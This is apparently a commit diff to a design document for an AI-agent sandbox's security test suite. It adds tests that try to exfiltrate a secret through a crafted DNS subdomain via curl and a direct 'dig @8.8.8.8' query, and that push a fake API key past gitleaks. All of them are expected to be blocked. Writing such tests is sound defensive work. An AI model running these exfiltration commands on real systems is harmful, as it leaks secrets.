docs(prd-0022): resolve open Qs 2, 4, 5 (DNS, gitleaks order, CI)
User feedback:
- Q2 (direct DNS resolver test): yes — test 4 grows a
second sub-assertion verifying `dig @8.8.8.8` from the
agent has no path out, alongside the existing
crafted-subdomain check.
- Q4 (gitleaks ordering): test 5 grows an ordering check
— asserts the rejection mentions `gitleaks` AND does
NOT mention upstream-network-phase phrases (resolve /
refused / unreachable / upstream). Confirms gitleaks
rejects BEFORE git-gate tries any upstream push.
- Q5 (CI): try it, accept fallback. New chunk 6 adds a
Gitea Actions job marked `continue-on-error: true` —
runs the suite if the runner can host compose, doesn't
block the workflow if docker-in-docker prevents it.
Three open questions remain (1: pipelock's actual DLP
coverage for non-body shapes; 3: realistic fake secret
shape vs. gitleaks regex; 6+7: backend-agnostic invocation
+ required tools — for the smolmachines work).
This commit is contained in:
@@ -276,22 +276,34 @@ def test_3_http_exfil_blocked(self):
|
|||||||
)
|
)
|
||||||
```
|
```
|
||||||
|
|
||||||
### Attack-4: DNS exfil via crafted subdomain
|
### Attack-4: DNS exfil — both crafted subdomain AND direct query
|
||||||
|
|
||||||
|
Two sub-assertions cover the two ways DNS can leak.
|
||||||
|
|
||||||
```python
|
```python
|
||||||
def test_4_dns_exfil_blocked(self):
|
def test_4_dns_exfil_blocked(self):
|
||||||
|
# 4a — crafted subdomain that pipelock would resolve.
|
||||||
|
# Pipelock's exact-match allowlist rejects the host
|
||||||
|
# before issuing the DNS query.
|
||||||
result = self.bottle.exec(
|
result = self.bottle.exec(
|
||||||
'curl --silent --max-time 5 --fail '
|
'curl --silent --max-time 5 --fail '
|
||||||
'"https://$TEST_SECRET.api.anthropic.com/"'
|
'"https://$TEST_SECRET.api.anthropic.com/"'
|
||||||
)
|
)
|
||||||
self.assertNotEqual(0, result.returncode)
|
self.assertNotEqual(0, result.returncode)
|
||||||
|
|
||||||
|
# 4b — direct DNS query bypassing pipelock entirely.
|
||||||
|
# The agent's --internal network has no default
|
||||||
|
# gateway; even with an explicit resolver like 8.8.8.8
|
||||||
|
# the query has nowhere to go.
|
||||||
|
result = self.bottle.exec(
|
||||||
|
'dig +time=3 +tries=1 @8.8.8.8 '
|
||||||
|
'"$TEST_SECRET.example.com" || echo "dig exit=$?"'
|
||||||
|
)
|
||||||
|
# No successful answer.
|
||||||
|
self.assertNotIn("ANSWER SECTION", result.stdout)
|
||||||
```
|
```
|
||||||
|
|
||||||
Asserts the host wasn't in pipelock's exact-match allowlist
|
### Attack-5: secret in README push (with ordering check)
|
||||||
(api.anthropic.com matches `api.anthropic.com`, not
|
|
||||||
`<secret>.api.anthropic.com`).
|
|
||||||
|
|
||||||
### Attack-5: secret in README push
|
|
||||||
|
|
||||||
```python
|
```python
|
||||||
def test_5_readme_push_blocked(self):
|
def test_5_readme_push_blocked(self):
|
||||||
@@ -306,12 +318,30 @@ def test_5_readme_push_blocked(self):
|
|||||||
'git push origin master'
|
'git push origin master'
|
||||||
)
|
)
|
||||||
self.assertNotEqual(0, result.returncode)
|
self.assertNotEqual(0, result.returncode)
|
||||||
self.assertIn("gitleaks", (result.stderr + result.stdout).lower())
|
combined = (result.stderr + result.stdout).lower()
|
||||||
|
# gitleaks ran and rejected.
|
||||||
|
self.assertIn("gitleaks", combined)
|
||||||
|
# AND: the rejection happened BEFORE git-gate tried to
|
||||||
|
# forward to the unreachable upstream. Network errors
|
||||||
|
# mentioning resolve / refused / unreachable would mean
|
||||||
|
# gitleaks ran AFTER (sequence wrong) or didn't run.
|
||||||
|
for upstream_phrase in (
|
||||||
|
"could not resolve",
|
||||||
|
"connection refused",
|
||||||
|
"network is unreachable",
|
||||||
|
"upstream",
|
||||||
|
):
|
||||||
|
self.assertNotIn(
|
||||||
|
upstream_phrase, combined,
|
||||||
|
f"unexpected upstream-phase phrase: gitleaks should "
|
||||||
|
f"reject BEFORE git-gate attempts an upstream push",
|
||||||
|
)
|
||||||
```
|
```
|
||||||
|
|
||||||
The `<slug>` is templated via the bottle's known identity at
|
The `<slug>` is templated via the bottle's known identity at
|
||||||
fixture-time. Asserts gitleaks fired (looking for the
|
fixture-time. The two-part assertion both confirms gitleaks
|
||||||
literal "gitleaks" in stderr).
|
fired AND that it fired before any upstream attempt — the
|
||||||
|
ordering the sandbox depends on.
|
||||||
|
|
||||||
## Implementation chunks
|
## Implementation chunks
|
||||||
|
|
||||||
@@ -333,7 +363,55 @@ Sized small.
|
|||||||
it requires the git-gate sidecar configured and the
|
it requires the git-gate sidecar configured and the
|
||||||
gitleaks rule fired. The "throwaway" upstream URL is
|
gitleaks rule fired. The "throwaway" upstream URL is
|
||||||
intentionally unreachable to keep the test fully
|
intentionally unreachable to keep the test fully
|
||||||
self-contained.
|
self-contained. Ordering assertions confirm gitleaks
|
||||||
|
fires before any upstream push attempt.
|
||||||
|
|
||||||
|
6. **CI integration (best-effort).** Add a Gitea Actions
|
||||||
|
job that runs the suite against the Docker backend.
|
||||||
|
Marked `continue-on-error: true` so the workflow doesn't
|
||||||
|
fail if docker-in-docker constraints prevent compose-up.
|
||||||
|
If the runner shape evolves later (e.g., privileged
|
||||||
|
Docker socket access) the suite slots in cleanly.
|
||||||
|
|
||||||
|
## Resolved questions
|
||||||
|
|
||||||
|
2. **DNS exfil via the agent's direct DNS resolver.**
|
||||||
|
Resolved: **add the assertion to test 4.** The
|
||||||
|
`--internal` network has no default gateway, so a direct
|
||||||
|
`dig @8.8.8.8 <SECRET>.example.com` from the agent
|
||||||
|
should fail. Test 4 grows a second assertion: in
|
||||||
|
addition to the crafted-subdomain-via-pipelock attempt
|
||||||
|
(which pipelock's exact-match allowlist rejects), the
|
||||||
|
agent's direct DNS query is also blocked. Both
|
||||||
|
sub-assertions must pass for test 4 to be green.
|
||||||
|
|
||||||
|
4. **Reachability of throwaway git upstream + gitleaks
|
||||||
|
ordering.** Resolved: **add ordering assertions to test 5.**
|
||||||
|
The pre-receive hook MUST reject the push before
|
||||||
|
git-gate ever attempts to forward to the (unreachable)
|
||||||
|
upstream. Test 5 asserts:
|
||||||
|
- `"gitleaks"` appears in the rejection output
|
||||||
|
(gitleaks fired)
|
||||||
|
- The rejection output does NOT contain phrases like
|
||||||
|
`"could not resolve"`, `"connection refused"`,
|
||||||
|
`"network is unreachable"`, or `"upstream"` — those
|
||||||
|
would mean gitleaks let the push through and the
|
||||||
|
failure happened later in the chain.
|
||||||
|
The second assertion is the "ordering" check — if it
|
||||||
|
fires, gitleaks ran AFTER the upstream attempt
|
||||||
|
(sequence is wrong) or didn't run at all.
|
||||||
|
|
||||||
|
5. **CI vs. local-only.** Resolved: **attempt CI; accept
|
||||||
|
local-only fallback if docker-in-docker blocks it.**
|
||||||
|
The Gitea Actions runner ecosystem usually has Docker
|
||||||
|
available to the workflow but not nested Docker
|
||||||
|
compose inside a containerized runner. v1 tries: add a
|
||||||
|
CI job that runs the suite against the Docker backend
|
||||||
|
on a runner with Docker socket access. If the
|
||||||
|
compose-up step fails because of DiD constraints, the
|
||||||
|
job is marked `continue-on-error: true` and the suite
|
||||||
|
stays local-only until we have a runner shape that can
|
||||||
|
host it.
|
||||||
|
|
||||||
## Open questions
|
## Open questions
|
||||||
|
|
||||||
@@ -353,36 +431,12 @@ Sized small.
|
|||||||
worse than fixing it. But for v1 of this test it's OK to
|
worse than fixing it. But for v1 of this test it's OK to
|
||||||
land with `expectedFailure` markers + tickets.
|
land with `expectedFailure` markers + tickets.
|
||||||
|
|
||||||
2. **DNS exfil via the agent's direct DNS resolver.** Today
|
|
||||||
the agent's `--internal` network has no default gateway,
|
|
||||||
so direct DNS queries to 8.8.8.8 fail. The crafted-
|
|
||||||
hostname attack rides on pipelock's resolution, which is
|
|
||||||
what test 4 covers. Should we ALSO test that direct DNS
|
|
||||||
(e.g., `dig @8.8.8.8 secret.example.com`) is blocked?
|
|
||||||
Probably yes — adds one assertion to test 4 and confirms
|
|
||||||
the network isolation is intact.
|
|
||||||
|
|
||||||
3. **Realistic fake secret.** `sk-ant-api03-...` shape is
|
3. **Realistic fake secret.** `sk-ant-api03-...` shape is
|
||||||
what gitleaks's anthropic-api-key rule matches. Verify
|
what gitleaks's anthropic-api-key rule matches. Verify
|
||||||
the exact regex before settling on the fixture value;
|
the exact regex before settling on the fixture value;
|
||||||
wrong-shape secret would mean attack 5 silently passes
|
wrong-shape secret would mean attack 5 silently passes
|
||||||
the wrong way (gitleaks doesn't fire, README ships).
|
the wrong way (gitleaks doesn't fire, README ships).
|
||||||
|
|
||||||
4. **Reachability of throwaway git upstream.** Pointing at
|
|
||||||
`ssh://git@127.0.0.1:22/throwaway.git` means git-gate
|
|
||||||
would try (and fail) to push to upstream after gitleaks
|
|
||||||
passes. We want gitleaks to REJECT before any upstream
|
|
||||||
attempt — so the push always fails at gitleaks, never
|
|
||||||
later. Confirm this ordering in git-gate's pre-receive
|
|
||||||
sequence.
|
|
||||||
|
|
||||||
5. **CI vs. local-only.** The integration test takes ~15s
|
|
||||||
(compose-up + 5 attacks + teardown). Running it on every
|
|
||||||
PR pays for itself the first time it catches a sandbox
|
|
||||||
regression but slows the green-tick feedback for unrelated
|
|
||||||
PRs. v1 ships as a local-only test; CI integration is a
|
|
||||||
follow-up that decides whether to gate merges on it.
|
|
||||||
|
|
||||||
6. **Backend-agnostic invocation.** The suite reads
|
6. **Backend-agnostic invocation.** The suite reads
|
||||||
`CLAUDE_BOTTLE_BACKEND` so it runs against whatever
|
`CLAUDE_BOTTLE_BACKEND` so it runs against whatever
|
||||||
backend is active. For the smolmachines spike, the
|
backend is active. For the smolmachines spike, the
|
||||||
|
|||||||
Reference in New Issue
Block a user